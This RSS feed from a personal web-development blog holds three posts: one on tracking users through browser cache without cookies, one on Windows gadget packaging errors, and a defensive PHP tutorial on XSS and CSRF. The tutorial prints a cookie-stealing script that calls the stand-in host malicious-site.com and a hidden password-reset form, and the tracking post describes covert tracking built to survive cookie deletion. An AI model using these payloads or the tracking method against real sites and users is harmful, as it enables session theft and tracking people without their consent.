<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Josh on the Web &#187; JavaScript</title>
	<atom:link href="http://joshduck.com/blog/category/programming/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://joshduck.com/blog</link>
	<description>It's a blog about the web, by Josh. Geddit?</description>
	<lastBuildDate>Thu, 29 Jul 2010 11:58:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Abusing the Cache: Tracking Users without Cookies</title>
		<link>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/</link>
		<comments>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 22:02:17 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=17</guid>
		<description><![CDATA[I&#8217;ve been doing a little bit of research into ways to misuse browser history and cache and came across a very simple technique for tracking users without the need for cookies. Firstly, a demo. If you watch the HTTP requests you&#8217;ll see that there are no cookies being used.
To track a user I make use [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been doing a little bit of research into ways to misuse browser history and cache and came across a very simple technique for tracking users without the need for cookies. Firstly, a <a href="http://joshduck.com/random/tracker.php">demo</a>. If you watch the HTTP requests you&#8217;ll see that there are no cookies being used.</p>
<p><span id="more-17"></span>To track a user I make use of three URLs: the container, which can be any website; a shim file, which contains a unique code; and a tracking page, which stores (and in this case displays) requests. The trick lies in making the browser cache the shim file indefinitely. When the file is requested for the first &#8211; and only &#8211; time a unique identifier is embedded in the page. The shim embeds the tracking page, passing it the unique ID every time it is loaded. See the <a href="http://paste2.org/p/758154">source code</a> <i>(thanks to Nathan for pointing out the date error)</i>.</p>
<p>One neat thing about this method is that JavaScript is not strictly required. It is only used to pass the message and referrer to the tracker. It would probably be possible to replace the iframes with CSS and images to gain JS-free HTTP referrer logging but would lose the ability to store messages so easily.  </p>
<p>As to how useful this actually is; the only use cases I can really think of are not exactly legitimate. The most obvious is to track users who won&#8217;t accept cookies. This does have advantages over cookies too; namely that this kind of tracking is completely silent. Virus scanners which search for an delete tracking cookies won&#8217;t affect sites using this method. Likewise, manually clearing cookies won&#8217;t work.</p>
<p>The most practical implementation would be to use this in concert with cookies to make tracking IDs more sticky, so they could outlast a user clearing their cookies. I&#8217;ve also been looking into adapting the link colour hack to store custom values in the browser history (this is easily doable). Combining these three techniques would mean a user would have to simultaneously clear their cache, their history and their cookies to circumvent tracking.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Windows Gadgets and Invalid Packages</title>
		<link>http://joshduck.com/blog/2010/01/24/windows-gadgets-and-invalid-packages/</link>
		<comments>http://joshduck.com/blog/2010/01/24/windows-gadgets-and-invalid-packages/#comments</comments>
		<pubDate>Sat, 23 Jan 2010 19:48:31 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=15</guid>
		<description><![CDATA[I&#8217;ve recently upgraded to Windows 7 and decided to experiment with the in built gadgets. Windows gadgets are built on web technologies; each gadget is really just a couple of HTML pages glued together with JavaScript. This is good in principle but there are enough differences between the gadget environment and Internet Explorer to make [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve recently upgraded to Windows 7 and decided to experiment with the in built gadgets. Windows gadgets are built on web technologies; each gadget is really just a couple of HTML pages glued together with JavaScript. This is good in principle but there are enough differences between the gadget environment and Internet Explorer to make testing difficult.</p>
<p><span id="more-15"></span>Today I started encountering the cryptic error message &#8220;This is not a valid gadget package&#8221; on a project I&#8217;ve been working on for the last few days. This is not the most useful of error message and had me perplexed for a little while. It turns out there are a couple of common causes for this problem:</p>
<ul>
<li>Firstly, simple zipping up a folder and renaming it to <em>foo.gadget</em> generally won&#8217;t work. Your <em>gadget.xml</em> manifest must be in the top level of the archive and Windows native zip handling (and most third part applications) will compress a folder, not its contents. To get around this you can zip the files from inside your gadget directory. This problem stung me the first time I tried to run my application, but is fairly easy to diagnose &#8211; just check the contents of the zip file after you&#8217;ve created in and before you rename it.</li>
<li>Some people have reported problems when setting the application version number to a simple value like &#8220;1&#8243; won&#8217;t work. You need to use the format <em>{major.minor.revision.build}</em>. Changing the version to 1.0.0.0 should be fine. It&#8217;s possible this only affects Vista; I couldn&#8217;t replicate this in Windows 7, and this wasn&#8217;t the cause of the error I was encountering.</li>
<li>The gadget.xml file must be in UTF-8 (or ASCII) format. UTF-16 simply won&#8217;t work. Windows 7 will warn you of an invalid manifest in this situation, which is more helpful than the generic error message I was getting.</li>
<li>Eventually I stumbled onto the solution to my problem. It turns out that if you include a zero length files in your gadget archive then it can&#8217;t be installed. I&#8217;d removed some styles from a stylesheet, leaving it blank. Simply removing the file caused the problems to clear up.</li>
</ul>
<p>All in all nothing was really learnt from this other than error messages should include information specific to the error and that there should be a debug more for gadget development.</p>
<p>The gadget I&#8217;m developing is very plain; meant more as an experiment than something useful, but I did build a few small tools that made development easier and that I hope to share in the near future.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/01/24/windows-gadgets-and-invalid-packages/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Securing Your PHP Code &#8211; XSS</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:03:32 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/</guid>
		<description><![CDATA[Today I&#8217;m going to start a three part series looking at security issues affecting web developers. The specifics apply to PHP developers, but the general concepts carry across all technologies.
Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). [...]]]></description>
			<content:encoded><![CDATA[<p>Today I&#8217;m going to start a three part series looking at security issues affecting web developers. The specifics apply to PHP developers, but the general concepts carry across all technologies.</p>
<p>Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). As a developer you should be aware of the security implications of each layer of technology and how you can best secure your code.</p>
<p><span id="more-10"></span></p>
<h2>What is an XSS Attack?</h2>
<p>This post is going to focuse on JavaScript and HTML. You might think that the HTML on your site  is fairly benign. Does it matter if the HTML doesn&#8217;t come out exactly the way you planned? Actually, it does. <a href="http://en.wikipedia.org/wiki/XSS">Cross-Site Scripting (XSS)</a> is the terms given to security vulnerabilities that are exploited through client site scripting.</p>
<h2>Attack Types</h2>
<p>XSS attacks fall into two categories: persistent and non-persistent. A persistent attack is one in which the attacker permanently modifies your site, just like the example below. Any user that loads the vulnerable page will be affected. A non-persistent attack is a temporary modification to the page, for example when a page prints out a variable passed to it through the query string. A non-persistent attack usually relies on some kind of social aspect from the attackers to entice the victim to visit a specially crafted URL.</p>
<p>Non-persistent attacks may also take advantage of holes in your JavaScript to write output to the page.</p>
<h2>XSS Example</h2>
<p>A simple persistent XSS session hijack attack might take the following form.</p>
<ul>
<li>You accept user input into a comment field. This is output straight to the page with no filtering.</li>
<li>Malicious user Alice sends the following comment

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">Great Work!
&lt;script&gt;document.write('&lt;img src=&quot;http://malicious-site.com/capture/' + document.cookie + '&quot; style=&quot;display:none;&quot;&gt;');&lt;/script&gt;</pre></div></div>

</li>
<li>This is accepted by your site and pasted into the comments.</li>
<li>One of your members, Bob, visits the comment page while logged in.</li>
<li>His browser parses the malicious script and adds the invisible image tag to the page.</li>
<li>His browser then requests the URL of the image: http://malicious-site.com/capture/PHPSESSID=3D3c2542747972f9a08b8759eafd079d7b</li>
<li>Alice&#8217;s server logs Bob&#8217;s session cookie.</li>
<li>Alice can now use the same session cookie on our site and you&#8217;ll think she&#8217;s logged in as Bob.</li>
</ul>
<p>This is a simple session hijacking attack. You could no-doubt patch this vulnerability, but there are a whole range of vectors that malicious users can use to attack your site. You need to focus on your security from a broad perspective and make sure that you have covered absolutely every angle. It only takes one hole to circumvent all your defenses.</p>
<h2>Escaping Data</h2>
<p>The one rule to stoping attacks is simple: you need to stop trusting your users&#8217; input. Every single piece of information you receive should be trusted as suspect. This goes beyond your usually $_POST and $_GET variables to include the following.</p>
<ul>
<li>$_GET</li>
<li>$_POST</li>
<li>$_FILES</li>
<li>$_COOKIES</li>
<li>$_SERVER (variables like &#8216;REFERRER_URI&#8217; or  &#8216;USER_AGENT&#8217; are sent by the user &#8211; some attackers have been known to <a href="http://lwn.net/2001/1108/a/webalizer.php3">send bad referrer data</a> so that they can exploit admin interfaces that show referrer information).</li>
<li>Data from the DB (another developer may plug in a new data source at some stage, so you cannot ever assume that database data is escaped).</li>
<li>Anything retrieved remotely, such as a RSS feeds.</li>
</ul>
<p>That is a lot of data to sanitize. You might think that you can filter all incoming data but that&#8217;s going to lead to complications. What if you decide you need to store data from an incoming RSS feed in your DB? When you read from the datadase you&#8217;ll have already escaped it, and risk escaping it again when you read it back out. You will end up with a mass of code for escaping and un-escaping. On a project with multiple developers it will become difficult to know whether the data a block of code is dealing with is sanitized or not. The simplest solution for escaping your data is to assume that <strong>all</strong> data is unsafe and escape it at the last possible moment; when printing it out to a HTML page.</p>
<p>What we need is a function that will ensure our data is never interpreted as HTML by the client&#8217;s browser. This is given to use in the form of PHP&#8217;s <code><a href="http://www.php.net/htmlspecialchars">htmlspecialchars</a></code>. This function will replace any quote, angled bracket or ampersand with its HTML entity. <code>&lt;script&gt;</code> becomes <code>&amp;lt;script&amp;gt;</code>. Once you have sanitized your data then you&#8217;ve just stopped a large number of possible attacks.</p>
<p class="aside"><strong>Note:</strong> make sure you quote all HTML attributes, especially if you are using (escaped) user input in them.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;img src=foobar.gif alt=<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$userTitle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000000; font-weight: bold;">?&gt;</span> /&gt;</pre></div></div>

<p>Could easily turn into</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;img src=foobar.gif alt= onclick=eval(/* some evil code*/) /&gt;</pre></div></div>

<p>If you want to remove HTML tags rather than escape them then use <code><a href="http://www.php.net/striptags">striptags</a></code>. I prefer to use <code>htmlspecialchars</code> because it won&#8217;t lead to accidentally data loss, and also indicates to users who attempt to use HTML in a legitimate manor that HTML is not accepted.</p>
<h2>Allowing Some HTML</h2>
<p>At some stage you are going to encounter a situation where you want to allow users to post a limited subset of HTML. I&#8217;d suggest that you save yourself a lot of trouble &#8211; don&#8217;t ever try and filter the HTML yourself. Parsing HTML (especially badly written HTML) is an extremely hard task to do well. Regexes aren&#8217;t going to cut it. <a href="http://htmlpurifier.org/">HTML Purifier</a> seems to be the best package out there for PHP developers.</p>
<h2>Cross Site Request Forgeries</h2>
<p>CSRF is a separate class of attack which is not technically an XSS attack, but is still closely related. In this attack the attacker creates specially crafted POST requests that they execute on the users browser without the user being aware. On third-party-site.com an attacker inserts the following code.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;form action=&quot;&lt;strong&gt;http://www.your-site.com/account/set_password.php&lt;/strong&gt;&quot; method=&quot;post&quot; id=&quot;evilForm&quot;&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;newpass&quot; /&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById('b).submit();&lt;/script&gt;</pre></div></div>

<p>Your site will receive an apparently valid POST request to reset the user&#8217;s password. Because the request is sent from the victim&#8217;s browser (without them knowing) it will contain a valid cookie. You need to have some way of filtering out these bogus requests from legitimate ones.</p>
<p>The &#8220;<a href="http://namb.la/popular/">Samy is my Hero</a>&#8221; MySpace worm used a MySpace XSS hole and CSRF to spread.</p>
<p>If you are modifying data through GET requests then you have an even bigger problem. An attacker could post a link on your own site to a malicious URL: e.g. <code>http://www.your-site.com/blog/delete?id=1</code>	. No filtering is going to remove this URL because it is perfectly legitimate. Do not ever allow users to modify anything with a GET request.</p>
<h2>Preventing Bogus Requests</h2>
<p>There are a few things you can do to prevent rogue POST requests on your site. A malicious website can have a hidden form that submits to your site, but no third-party site can ever read the DOM structure of your site through the victim&#8217;s browser.<br />
Many sites take advantage of this security restriction by introducing a two step process for any form data.</p>
<ol>
<li>User performs a GET on <code>delete.php</code>. This page does not modify any data.</li>
<li>Site creates a unique token and adds it to the user&#8217;s session.</li>
<li>Site returns a page containing a POST form pointing to <code>delete_process.php</code>.</li>
<li>The user submits the form.</li>
<li><code>delete_process.php</code> does the actual deletion only if the user has performed a POST request and the request includes the token generated in step 2.</li>
<li>For good practice the server should redirect the user to a page that confirms their action (this is known as the <a href="http://en.wikipedia.org/wiki/Post/Redirect/Get">Post/Redirect/Get pattern</a>)</li>
</ol>
<p>This method will thwart a malicious POST coming from the third party site, as the third part can never read the secret token we generate, and therefore their request will be rejected.</p>
<p>At the time of the &#8220;Samy&#8221; worm MySpace was actually implementing the two-step process described above. However, because the attacker had discovered an XSS hole in MySpace, he was able to spread the worm from within the MySpace.com domain and could use XMLHTTPRequests to read the unique token.</p>
<p class="aside">Note: You may think that checking referrer values is a good way to stop bogus requests. Unfortunately there have also been known vulnerabilities which allow an attacker to spoof referrer headers. In addition to this, many users browse with referrers turned off or deliberately set to an incorrect value.</p>
<h2>Watch Your Subdomains</h2>
<p>It is common for many third-part scripts like WordPress or PHPBB to be vulnerable to XSS attacks. You may think that by hosting the package on a separate subdomain (e.g. forum.your-site.com) would keep you safe but an attacker can use JavaScript&#8217;s <code>document.domain</code> setting to make XMLHTTPRequests and read cookies from your top level domain (e.g. &#8220;your-site.com&#8221;). However, they will not be able to attack any other subdomains. If you main site is located at www.your-site.com and cookies are set to be readable to &#8220;.www.your-site.com&#8221; then your main site will be safe.</p>
<h2>HTTP Only Cookies</h2>
<p>Another promising candidate in the fight against XSS attacks is the <a href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx">HTTP only cookie</a>, a proprietary extension created by Microsoft that would stop scripts from reading cookies that should only be read by the server.</p>
<h2>Final Thoughts</h2>
<p>Be careful with your JavaScript, you could wind up undoing all the careful work you did in your server side code, just as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=272620">BugZilla</a> did.</p>
<p>Pick a content encoding and stick to it. This has even <a href="http://shiflett.org/blog/2005/dec/googles-xss-vulnerability">caught out Google</a>. Use the same character encoding in your HTML meta tags as you pass to <code>htmlspecialchars</code>. UTF-8 is always a safe bet.</p>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-server-security/">Securing Your PHP Code &#8211; Server Security</a></li>
<li><a href="../securing-your-php-code-databases/">Securing Your PHP Code &#8211; Databases</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
